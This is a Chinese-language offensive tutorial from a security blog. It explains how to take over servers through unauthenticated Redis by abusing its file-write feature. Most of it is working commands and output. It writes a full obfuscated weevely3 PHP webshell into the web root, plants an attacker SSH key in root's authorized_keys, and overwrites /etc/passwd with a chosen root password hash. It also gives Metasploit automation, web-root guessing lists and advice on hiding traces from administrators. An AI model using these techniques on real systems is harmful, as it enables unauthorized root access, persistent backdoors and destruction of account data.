不請自來|Redis 未授權訪問漏洞深度利用">不請自來|Redis 未授權訪問漏洞深度利用

分類:IT技術 時間:2017-09-25

*本文原創作者:[email protected]( blog ),屬於FreeBuf原創獎勵計劃,禁止轉載

redis雖然是高性能內存數據庫,但也支持將內存數據保存至硬盤上,實現持久化存儲。由於 redis 未強制訪問鑒權,導致未授權訪問漏洞頻發,入侵者借此控制 redis 間接獲得系統寫文件的能力,極大提升攻擊力。 

redis未授權漏洞的發現常有兩種方式,你可以用 redis-cli 手工針對單個機器驗證:

$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> INFO server
# Server
redis_version:4.0.1
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:65864c9f72c0dcf
redis_mode:standalone
os:linux 3.16.0-4-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.9.2
process_id:2213
run_id:f4583ca8759931262b707df016655eabd7b85eed
tcp_port:6379
uptime_in_seconds:2101
uptime_in_days:0
hz:10
lru_clock:12289112
executable:/root/redis-server
config_file:

其中,INFO server 為登錄 redis 後執行的內部命令,用於顯示服務端環境信息,比如操作系統的版本、GCC 的版本、redis 的版本等等信息,可見在未輸入任何賬號/密碼情況下,已經成功執行 redis 內部命令,確認存在未授權訪問漏洞;你也可以用 nmap 自動批量驗證:

$ nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24
...
Nmap scan report for 192.168.56.101
Host is up (-0.078s latency).
PORT     STATE SERVICE VERSION
6379/tcp open  redis  Redis key-value store 4.0.1 (64 bits)
| redis-info:
|  Version: 4.0.1
|  Operating system: Linux 3.16.0-4-amd64 x86_64
|  Architecture: 64 bits
|  Process ID: 2213
|  Used CPU (sys): 3.20
|  Used CPU (user): 0.77
|  Connected clients: 2
|  Connected slaves: 0
|  Used memory: 828.64K
|  Role: master
|  Bind addresses:
|    0.0.0.0
|  Client connections:
|_   192.168.56.1
...

其中,redis-info 為 nmap 專用於檢查該漏洞的插件,檢測範圍為 192.168.56.1/24 整個 C 段,從輸出結果中也能看到大量 192.168.56.101 的環境信息,成功檢測到未授權訪問漏洞。

有了未授權訪問漏洞,就有了向系統寫文件的能力。但,還有個重要前提,redis 可以創建文件但無法創建目錄,所以,redis 待寫入文件所在的目錄必須事先存在。redis 寫文件大致分為四個步驟:登錄、設置文件路徑、創建鍵/值、保存。

用 redis-cli 連接 redis:

$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379>

輸入 PING 回顯 PONG 則表示登錄成功:

192.168.56.101:6379> ping
PONG

說明連接成功。指定寫文件的目錄:

192.168.56.101:6379> CONFIG SETdir /tmp
OK

這個目錄,必須已存在且 redis 安裝賬號對其有寫權限,否則將報錯:

(error) ERR Changing directory: Nosuch file or directory

設置要寫入的文件名:

192.168.56.101:6379> CONFIG SETdbfilename yourfile
OK

這樣,文件路徑完整為 /tmp/yourfile。創建鍵為 yourkey、值為 yourvalue 的鍵/值對:

192.168.56.101:6379> SET YOURKEY"YOURVALUE"
OK

將內存數據寫入文件:

登錄 192.168.56.101 查看剛寫入的文件:

# cat /tmp/yourfile 
REDIS0008?       redis-ver4.0.1?
redis-bits?@?ctime?!??Yused-mem??
                                 ?
                                  aof-preamble??repl-id(f673f43a842713fcfa179696f306c536f476e997?
                                                                                                repl-offset???##oldkeoldvalueyourkey       yourvalue?Z?#??
192.168.56.101:6379> SAVE
OK

存在亂碼,是因為 redis 以二進制模式寫文件,二進制模式查看:

$ xxd /tmp/yourfile

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  [email protected].

0000030: 21c0 9a59 fa08 7573 65642d6d 656d c288  !..Y..used-mem..

0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  .....aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2866 3637  e....repl-id(f67

0000060: 3366 3433 6138 3432 37313366 6366 6131  3f43a842713fcfa1

0000070: 3739 3639 3666 3330 36633533 3666 3437  79696f306c536f47

0000080: 3665 3939 37fa 0b72 65706c2d 6f66 6673  6e997..repl-offs

0000090: 6574 c000 fe00 fb02 0000066f 6c64 6b65  et......... oldke

00000a0: 7908 6f6c 6476 616c 75650007 796f 7572 y . oldvalue .. your

00000b0: 6b65 7909 796f 7572 76616c75 65ff 8e19 key . yourvalue ...

00000c0: 5a00 3f17 9be9 0a                        Z.?....

從中可見三個關鍵點:一是,鍵和值均可作為待寫入字符串的載體,如,yourkey、yourvalue;二是,redis 的內部關鍵信息也被寫入文件,如,REDIS0008、redis-ver.4.0.1;三是,先前已存在的其他鍵/值也會保存到文件中,如,oldkey、oldvalue。

個人習慣將值作為寫入字符串的載體。字符串應用雙引號包裹;若字符串內部含有雙引號、單引號等字符,那麽應對其進行 \”、\’ 轉義;若要寫入多行文本,應將多行合並成一行,用 \n 分割;另外,為防止待寫入字符串與其他連接出現其他異常,最好在字符串前後加幾個\n 或空格,將其隔離開:

192.168.56.101:6379> SET yourkey"\n\n i say \"hi\";\nu say \'hello\' \n\n"
OK

redis寫文件功能,目的不是單純的將內存中的鍵/值保存到硬盤上,而是為了便於從文件中恢復數據,那麽勢必會將文件格式、關鍵屬型、版本等等內部 redis 內部信息一並寫入文件。站在攻擊者角度,借助 redis 寫的文件,必須具備一定容錯性,否則,無法利用該漏洞。比如,將 PHP 語法之外的字符寫入 tmp.php:

aaaaaa bbbbbbbbbb
<?php phpinfo(); ?>
cccc dddddddddddd

通過 URL 訪問頁面,可正常運行 PHP 代碼,php 這類腳本文件就具有容錯性,那麽寫 webshell 是可行的。

redis寫文件功能,不僅保存你剛才新建的鍵/值,同時也會保存已有的其他鍵/值,所以,非你創建的鍵/值 oldkey/oldvalue 也被寫入文件中。從攻擊者視角來看,這會導致些問題。比如,你創建了存放一句話木馬的鍵/值,希望保存至 webshell,如果有其他攻擊者也創建了存放一句話木馬的鍵/值,redis 在寫文件時可能將他的一句話寫在你的前面(即,他的一句話在 tmp.php 的第一行,你的在第二行),一旦他的一句話設置了需要密碼才能訪問,那麽,你的一句話永遠解析不了。為了規避這類問題,寫文件前,一般先查看當前有哪些鍵:

192.168.56.101:6379> KEYS *
...
2) "resque:delayed:last_enqueued_at"
3) "phpspy"
4)"resque:stat:failed:mobby-db:26377:*"
...

核實可疑鍵:

192.168.56.101:6379> GET"phpspy"
"<?php@eval($_POST[value]);?>"

刪除可疑鍵:

192.168.56.101:6379> DEL"phpspy"
(integer) 1

如果逐一核實覺得麻煩,可以將鍵名定為 0,redis 按字符順序寫入文件,這樣也可以將你的值寫在文件的前面;甚至,不怕影響業務,還可以先用 FLUSHALL 清空所有鍵/值後再創建你的鍵/值,那麽寫入的文件肯定很幹凈了。

還有一件事,你應該知道,為了高效利用硬盤空間,redis 默認采用 LZF 壓縮寫入數據。如,創建鍵為 fours、值為44444444444444444444444444444444444444 的鍵/值:

192.168.56.101:6379> SET fours"44444444444444444444444444444444444444"
OK
192.168.56.101:6379> GET fours
"44444444444444444444444444444444444444"
192.168.56.101:6379> save
OK

查看寫入文件:

$ xxd /tmp/test.txt

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  [email protected].

0000030: 5a08 9d59 fa08 7573 65642d6d 656d c2d8  Z..Y..used-mem..

0000040: 9c0c 00fa 0c61 6f66 2d707265 616d 626c  .....aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e....repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 00000566 6f75 7273  et.........fours

00000a0: c309 2601 3434 e019 00013434 ff0f ac63  ..&. 44....44 ...c

00000b0: 03c6 35a9 00                             ..5..

redis並未嚴格寫入指定數目的 4 到文件中,這在寫 webshell 這類場景中,一旦 PHP 代碼被壓縮,肯定無法正確解析,所以,通常應關閉壓縮功能:

192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET fours"44444444444444444444444444444444444444"
OK
192.168.56.101:6379> GET fours
"44444444444444444444444444444444444444"
192.168.56.101:6379> save
OK

查看寫入文件,一切正常:

# xxd /var/www/test.txt

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  [email protected].

0000030: 9b0a 9d59 fa08 7573 65642d6d 656d c268  ...Y..used-mem.h

0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  .....aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e....repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 00000566 6f75 7273  et.........fours

00000a0: 2634 3434 3434 3434 34343434 3434 3434  & 444444444444444

00000b0: 3434 3434 3434 3434 34343434 3434 3434 4444444444444444

00000c0: 3434 3434 3434 34ff dd3f6b58 38a0 bd7f 4444444 ..?kX8...

如果覺得整個寫文件過程手工操作太麻煩,可借助 MSF 實現自動化:

msf > useauxiliary/scanner/redis/file_upload

msf auxiliary(file_upload) > showoptions

Module options(auxiliary/scanner/redis/file_upload):

Name                    CurrentSetting  Required  Description

----                   ---------------  --------  -----------

DISABLE_RDBCOMPRESSION  true             yes       Disable compression when saving if foundto be enabled

FLUSHALL                false            yes       Run flushall to remove all redis databefore saving

LocalFile                               no        Local file to beuploaded

PASSWORD               foobared         no        Redis password for authentication test

RHOSTS                                  yes       The target address rangeor CIDR identifier

RPORT                   6379             yes       The target port (TCP)

RemoteFile                              no        Remote file path

THREADS                 1                yes       The number of concurrent threads

其中多個選項的意義,前面已提及過,比如,DISABLE_RDBCOMPRESSION 表示是否關閉壓縮功能,肯定是;RemoteFile寫入的文件路徑,不僅是目錄還得含有文件名;FLUSHALL 是否先刪除 redis 中其他已有鍵/值,最好選否,避免影響正常業務,你應手工查看,刪除非業務的可疑鍵/值:

msf auxiliary(file_upload) > setDISABLE_RDBCOMPRESSION yes
DISABLE_RDBCOMPRESSION => true
msf auxiliary(file_upload) > setRHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(file_upload) > setRemoteFile /tmp/yourfile2
RemoteFile => /tmp/yourfile2
msf auxiliary(file_upload) > setLocalFile /home/yangyangwithgnu/test.txt
LocalFile =>/home/yangyangwithgnu/test.txt
msf auxiliary(file_upload) > run
[+] 192.168.56.101:6379 -192.168.56.101:6379 -- saved 15 bytes inside of redis DB at /tmp/yourfile2
[*] Scanned 1 of 1 hosts (100%complete)
[*] Auxiliary module executioncompleted

查看寫入文件:

# xxd /tmp/yourfile2

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  [email protected].

0000030: 92ba 9e59 fa08 7573 65642d6d 656d c238  ...Y..used-mem.8

0000040: f10c 00fa 0c61 6f66 2d707265 616d 626c  .....aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e....repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 0000205a 696f 7470  et........ Ziotp

00000a0: 6a49 4b5a 4870 6a56 784d4677 6959 4d6e  jIKZHpjVxMFwiYMn

00000b0: 6e43 6f42 4f66 6662 526f720f 0a68 656c  nCoBOffbRor.. hel

00000c0: 6c6f 2c20 776f 726c 64210aff b439 bb6c lo, world! ...9.l

00000d0: 9aaa 9f29                                …)

為清晰說明細節,後面仍用采用手工操作方式。

寫 webshell 文件實現遠程控制

一旦控制 redis 後,優先想到的是寫 webshell,容錯性是它最大優勢。假定目標是 PHP 環境、web 的根目錄為/var/www/,按前面步驟嘗試寫個普通 PHP 腳本看下是否能成功解析:

$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> CONFIG SETdbfilename phpinfo.php
OK
192.168.56.101:6379> CONFIG SETdir "/var/www/"
OK
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET phpinfo"\n\n <?php phpinfo(); ?> \n\n" NX
OK
192.168.56.101:6379> save
OK

訪問 http://192.168.56.101/phpinfo.php :

(解析 phpinfo)

雖然頁面頂部出現了些 redis 的內部信息,但後面也正常顯示了 PHP 詳情,說明解析成功。

這次寫個 webshell。為了減少不定因素(WAF),不建議直接用 redis 寫大馬,你可以先寫個一句話的小馬,用小馬拉大馬,或者,寫適配菜刀的小馬,用菜刀訪問,或者,寫由 msfvenom 生成的小馬,用 MSF 訪問,或者,寫由 weevely3 生成的小馬,用 weevely3 訪問(限 PHP 環境)。個人偏好 weevely3,以此為例。

weevely3生成webshell:
$./weevely.py generate yourpasswd~/info.php
Generated backdoor with password'yourpasswd' in '/home/yangyangwithgnu/info.php' of 1486 byte size.

其中,yourpasswd 為訪問 webshell 的密碼,另外,文件名切勿張揚,phpspy.php、agent.php 等等容易引起管理員註意。查看內容如下:

$cat ~/info.php
<?php
$o='&l;&lq=0.(&l&l[\\d]))?,?/&l",$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr<();$s=&$_S&l';
$D='m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp="";fo&lr&l($z=1;$z<cou';
$e='l["que&lry"],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al?("/([\\&lw])[\\w-]+(?:';
$y='i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r["&lHTTP_R&lEFER&lER"];$ra=&l@$r&';
$h='64&l_dec&lod≤(preg_replace(&la&lrray("/_/","/-&l/"),a&lrr&lay("/","+&l"),$ss&l&l($&ls[';
$s='l["HT&lTP_ACC&lEPT_LA&lNGUAGE"];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&';
$f='n&l<($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s&ltrpos($p,$h)=&l&l==0){$s[$i]=""&';
$P='$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten&lts();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod';
$R='e(x(&lgzcompr≤&lss($o),$&lk));&lprint(&l"<$k>$d</&l$k>")&l&l;@s&lession_destroy();}}}}';
$Z='$kh&l="aeb&lb";$kf&l="7a&l7d";func&ltion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$';
$A='l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s';
$l='&lESSION;$ss="s&lubstr";$sl="str&ltolowe&lr";$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(';
$n='o="";&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$';
$V=str_replace('XZ','','crXZXZeate_XZXZXZfunXZction');
$w='[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas≤';
$q=str_replace('&l','',$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);
$G=$V('',$q);$G();
?>

內容不太像普通 PHP 代碼,這就對了,weevely3 為了免殺特意進行了代碼混淆。

前面提過,redis 寫文件的幾個註意事項:以鍵值作為寫入字符串的載體、字符串應用雙引號包裹、引號須轉義、多行應合並成 \n 分割的單行、待寫入字符串前後加 \n 將其隔、刪除其他可疑鍵/值、關閉寫文件壓縮功能。

調整後的待寫入內容、確認無其他可疑鍵/值後,寫入 webshell:

192.168.56.101:6379> CONFIG SETdbfilename info.php
OK
192.168.56.101:6379> CONFIG SETdir "/var/www/"
OK
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET info"\n\n <?php\n$o=\'&l;&lq=0.(&l&l[\\d]))?,?/&l\",$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr<();$s=&$_S&l\';\n$D=\'m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp=\"\";fo&lr&l($z=1;$z<cou\';\n$e=\'l[\"que&lry\"],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al?(\"/([\\&lw])[\\w-]+(?:\';\n$y=\'i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r[\"&lHTTP_R&lEFER&lER\"];$ra=&l@$r&\';\n$h=\'64&l_dec&lod≤(preg_replace(&la&lrray(\"/_/\",\"/-&l/\"),a&lrr&lay(\"/\",\"+&l\"),$ss&l&l($&ls[\';\n$s=\'l[\"HT&lTP_ACC&lEPT_LA&lNGUAGE\"];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&\';\n$f=\'n&l<($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s&ltrpos($p,$h)=&l&l==0){$s[$i]=\"\"&\';\n$P=\'$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten&lts();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod\';\n$R=\'e(x(&lgzcompr≤&lss($o),$&lk));&lprint(&l\"<$k>$d</&l$k>\")&l&l;@s&lession_destroy();}}}}\';\n$Z=\'$kh&l=\"aeb&lb\";$kf&l=\"7a&l7d\";func&ltion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$\';\n$A=\'l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s\';\n$l=\'&lESSION;$ss=\"s&lubstr\";$sl=\"str&ltolowe&lr\";$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(\';\n$n=\'o=\"\";&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$\';\n$V=str_replace(\'XZ\',\'\',\'crXZXZeate_XZXZXZfunXZction\');\n$w=\'[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas≤\';\n$q=str_replace(\'&l\',\'\',$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);\n$G=$V(\'\',$q);$G();\n ?> \n\n" NX
OK
192.168.56.101:6379> save
OK

其中,命令末的 nx,表示僅當鍵 info 不存在時才創建,防止誤更新到業務在用的鍵名,引起業務異常。

瀏覽器訪問 http://192.168.56.101/info.php 無報錯,確認 webshell 解析成功。用 weevely3 連接:

$./weevely.py http://192.168.56.101/info.php yourpasswd  

[+] weevely 3.4

[+] Target:    192.168.56.101

[+] Session:   /home/yang/.weevely/sessions/192.168.56.101/info_0.session

[+] Browse the filesystem or executecommands starts the connection

[+] to the target. Type :help formore information.

weevely> id

uid=33(www-data) gid=33(www-data)groups=33(www-data)

www-data@lamp:/var/www $ ifconfig

eth0      Link encap:Ethernet  HWaddr 08:00:27:93:68:78

inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0

...

獲取低權賬號主機訪問權,下一步,提權,這屬於後滲透階段,見另文。

最後記得清除痕跡:恢復 rdbcompression、dir、dbfilename先前設置,刪除創建的鍵/值 info。

回顧整個過程,漏了個關鍵點,web 根目錄。是的,演示環境的 web 根目錄為 /var/www,但真實環境中往往復雜得多,你得綜合考慮操作系統(linux、win)、web 容器、子目錄等等多因素,才可能猜測出正確的路徑,就像 sqlmap 中那樣:

class ABSPATH_PREFIXES:
   LINUX = (
        "/var/www","/usr/local/apache", "/usr/local/apache2","/usr/local/www/apache22", "/usr/local/www/apache24",
        "/usr/local/httpd","/var/www/nginx-default", "/srv/www","/var/www/vhosts",
        "/var/www/virtual","/var/www/clients/vhosts", "/var/www/clients/virtual")
   Windows = (
        "/xampp", "/ProgramFiles/xampp", "/wamp", "/Program Files/wampp","/apache",
        "/Program Files/ApacheGroup/Apache",
        "/Program Files/ApacheGroup/Apache2", "/Program Files/Apache Group/Apache2.2",
        "/Program Files/ApacheGroup/Apache2.4", "/Inetpub/wwwroot",
        "/Inetpub/vhosts")
   ALL = LINUX + WINDOWS

# Suffixes used in brute force searchfor web server document root
ABSPATH_SUFFIXES = ("html","htdocs", "httpdocs", "php", "public","src", "site", "build", "web","www", "data", "sites/all","www/build")

如果暴破不出來,可以考慮尋找 web 應用的目錄遍歷漏洞,或者,web 容器自身的目錄遍歷漏洞(如,apache tomcat utf-8 目錄遍歷漏洞,CVE-2008-2938)。

寫 /root/.ssh/authorized_keys 文件實現 ssh 免密登錄

借助 redis 寫文件的能力,將攻擊端的公鑰寫入目標端的 /root/.ssh/authorized_keys中,可實現 ssh 免密登錄。

具體而言,假定你通過各自手段已獲取 192.168.56.101 的 redis 訪問權限,我們要將文件路徑改為 /root/.ssh/authorized_keys,為防止業務異常或被管理員發現,通常事後應恢復先前設置,所以,首先,記錄下當前設置的目錄和文件名信息:

192.168.56.101:6379> CONFIG GETdir
1) "dir"
2) "/tmp"
192.168.56.101:6379> CONFIG GETdbfilename
1) "dbfilename"
2) "dump.rdb"

記錄下當前是否壓縮:

192.168.56.101:6379> CONFIG GETrdbcompression
1) "rdbcompression"
2) "yes"

接著,更改目錄為 ssh 配置文件所在目錄:

192.168.56.101:6379> CONFIG SETdir /root/.ssh/
OK

若非 root 部署 redis,或者/root/.ssh/ 不存在,將出現如下報錯,你應考慮其他攻擊手法(寫 webshell 是個不錯的選擇):

(error) ERR Changing directory: Nosuch file or directory

確認是否更改成功:

192.168.56.101:6379> CONFIG GETdir
1) "dir"
2) "/root/.ssh"

設置將要待寫文件名:

192.168.56.101:6379> CONFIG SETdbfilename authorized_keys
OK

然後,創建鍵為 abcd、值為攻擊端公鑰的鍵/值對:

192.168.56.101:6379> SET abcd"\n\n ssh-rsaMMMdjfeod29jdlsMMMMPMQMBMMMBMQPcLMUOEN8xETqsfklfj5kfLZebMEopPcYTP1uJeOB1Oc+IML+xMGcsdfjsdfjdfsdfkdfjwodOEFsfdhlsFKDSFHsldkjfdlekasdjfssaldjfsadlfsadfasdsdfsadfjsoaiV+LxUpLvE+bPw2CIdkfdsd8W/XGsadfjk92flsllSk/PlTasdfkjlweijsadflksajdfdkfasdfssaldiejflDSKs+asjfiewflofdjkidsfoiwjhsaLDJHFUEWKFHSKDSDFJKASDHU2w1l/fcsfdjW/eWsa+j35WsadfMS76QI2+VkPwPsdfOFMP+gC8+2Faf1yangyangwithgnu@host \n\n" NX
OK

隨後,保存,間接實現將公鑰寫入 authorized_keys:

192.168.56.101:6379> save
OK

最後,恢復先前的目錄、文件名、壓縮狀態,刪除創建的鍵/值:

192.168.56.101:6379> CONFIG SETdir "/tmp"
OK
192.168.56.101:6379> CONFIG SETdbfilename "dump.rdb"
OK
192.168.56.101:6379> CONFIG SETrdbcompression yes
OK
192.168.56.101:6379> DEL abcd
(integer) 1

嘗試 ssh 免密登錄成功:

$ ssh [email protected]
Last login: Sat Aug 19 11:16:13 2017from 192.168.56.123
root@HomePortalSystem:~# id   
uid=0(root) gid=0(root)groups=0(root)

當然,也不是說將公鑰寫入 authorized_keys 就一定能免密登錄,至少得滿足,攻擊端網絡環境可以正常訪問目標端的 ssh 服務、目標端允許 root 遠程登錄、允許免密登錄等條件,甚至 ssh 是否啟在 22 端口?iptable是否限制訪問源 IP 等等相關信息都得綜合考慮。

寫 /etc/passwd 文件實現任意賬號密碼重置

你知道,真正存放密碼的文件是 /etc/shadow 而非 /etc/passwd,若一個賬號同時在 /etc/passwd 和 /etc/shadow 中出現存放了密碼,會出現什麽情況?系統以前者為準。換言之,我們可以用 redis 寫文件的能力,將自定義的 root 密碼寫入 /etc/passwd,隨後便可以此已知密碼登錄 root 賬號。

既然 redis 未授權漏洞可以寫任意文件,為何選擇寫 /etc/passwd 而不直接寫 /etc/shadow 呢?redis 是以覆蓋模式寫文件,無法追加,假設系統原來有 8 個賬號,除了 root 外你不可能知道其他 7 個賬號名,redis 寫入root 的密碼的同時,也就刪除了其他 7 個賬號,這個過程是有創且不可逆的。自然,我需要在真正寫文件前,查看到該文件當前內容,以便事後恢復。/etc/passwd 和 /etc/shadow 哪個更有可能被查看內容?前者權限為 644、後者為 640,肯定是前者。常見的場景,比如該機器部署的 web 存在任意文件下載漏洞,又如你通過任意文件上傳拿到 webshell,都可以獲取 /etc/passwd 內容。所以,我認為 /etc/passwd 更合適。另外,如果實在是無法事前查看文件 /etc/passwd 內容,你也別不幹下手,結合 /etc/passwd- 和 /etc/shadow 仍可恢復 99% 的內容。/etc/passwd- 是 /etc/passwd 的上個版本備份,相較當前版本可能缺少一個賬號,先將 /etc/passwd- 拷貝為 /etc/passwd,再從 /etc/shadow 中提取缺失的那個賬號名(如 yang),手工追加至 /etc/passwd。這樣,入侵前後的 /etc/passwd 基本一至。

/etc/passwd格式如下:
yang:x:1000:1000::/home/yang:/bin/sh
/etc/shadow格式為:
yang:$6$3fsk3de0$RAG5fct2ldQbmeb0e98nm4/EacrpdWHzpKW9ftz01np2uxPVV6B60EqCdMewopLPIC/pPUTybAVnfk9rJ8UGH/:17386:0:99999:7:::

均采用分號(:)作為分隔符,第一個字段為用戶名,第二個字段為哈希密碼。/etc/passwd 的哈希密碼為 x,表示以 /etc/shadow 中的為準。哈希密碼字段內部又用 $ 分割為三部分,依次為:算法代號、鹽值、哈希值。算法代號,linux 規定 1 代表 MD5、2a 代表老版 blowfish、2y 為新版blowfish、5 代表 SHA-256、6 代表 SHA-512,其他unix-like 可能不一樣;鹽值,用於防止基於彩虹表的哈希破解,只能為大小寫字符或數字,不同類型的算法,鹽值長度要求不一,比如,sha-512 要求鹽值為 8 到 16位字符,而 DES 要求只能是 2 位;哈希值,通過哈希算法對明文密碼和鹽值進行加密計算的結果。另外,也可以借助 hashID( https://github.com/psypanda/hashID )和hash-algorithm-identifier( https://github.com/AnimeshShaw/Hash-Algorithm-Identifier )自動識別哈希算法類型。

無法查看 /etc/shadow,如何確定系統采用哪種哈希算法?這,不重要!通常來說,不同發行套件默認采用的哈希算法可能不同,但均支持 MD5、SHA-256、SHA-512等三種,換言之,三種任選其一均可。已實現這三種哈希算法的工具很多,比如,系統命令 mkpasswd:

$ mkpasswd --method=md5--salt='my0salt0' 'YourNewPasswd%1024'

其中,密碼明文為 YourNewPasswd%1024,鹽值 my0salt0,采用 MD5 算法(–method=help 查看完整列表);又如,python 的 crypt 庫:

$ python -c 'import crypt; print crypt.crypt("YourNewPasswd%1024","$6$my0salt0")'

其中,密碼明文為 YourNewPasswd%1024,鹽值 my0salt0,采用代號為 6 的 SHA-512 算法。

既然我們已經獲得 redis 控制權,且 /etc/passwd 具有較強容錯性,那麽,通過寫入 root 賬號的哈希密碼到 /etc/passwd 中,實現 root 密碼重置是完全可行的。

假定重置 root 密碼為 YourNewPasswd%1024(linux 一般有密碼強度規則,為規避未知因素導致密碼重置失敗,新密碼應滿足較強的密碼規則,如長度超過 8 位、含有大小寫字母、數字、特殊字符),先計算出該密碼的哈希:

$ mkpasswd --method=sha-512--salt='my0salt0' 'YourNewPasswd%1024'
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.

接著,參照前面寫 /root/.ssh/authorized_keys 文件步驟,記錄下當前環境、刪除可以鍵/值、設置禁止壓縮;然後,設置寫文件路徑:

192.168.56.101:6379> CONFIG SETdir /etc/
OK
192.168.56.101:6379> CONFIG SETdbfilename passwd
OK

要想 SSH 登錄,我們不能只寫入 root 賬號,sshd 賬號也得寫入:

192.168.56.101:6379> SET abcd"\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n" NX
OK
192.168.56.101:6379> save
OK

查看 /etc/passwd:

# xxd passwd

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  [email protected].

0000030: 46d8 a359 fa08 7573 65642d6d 656d c2a8  F..Y..used-mem..

0000040: a10c 00fa 0c61 6f66 2d707265 616d 626c  .....aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e....repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

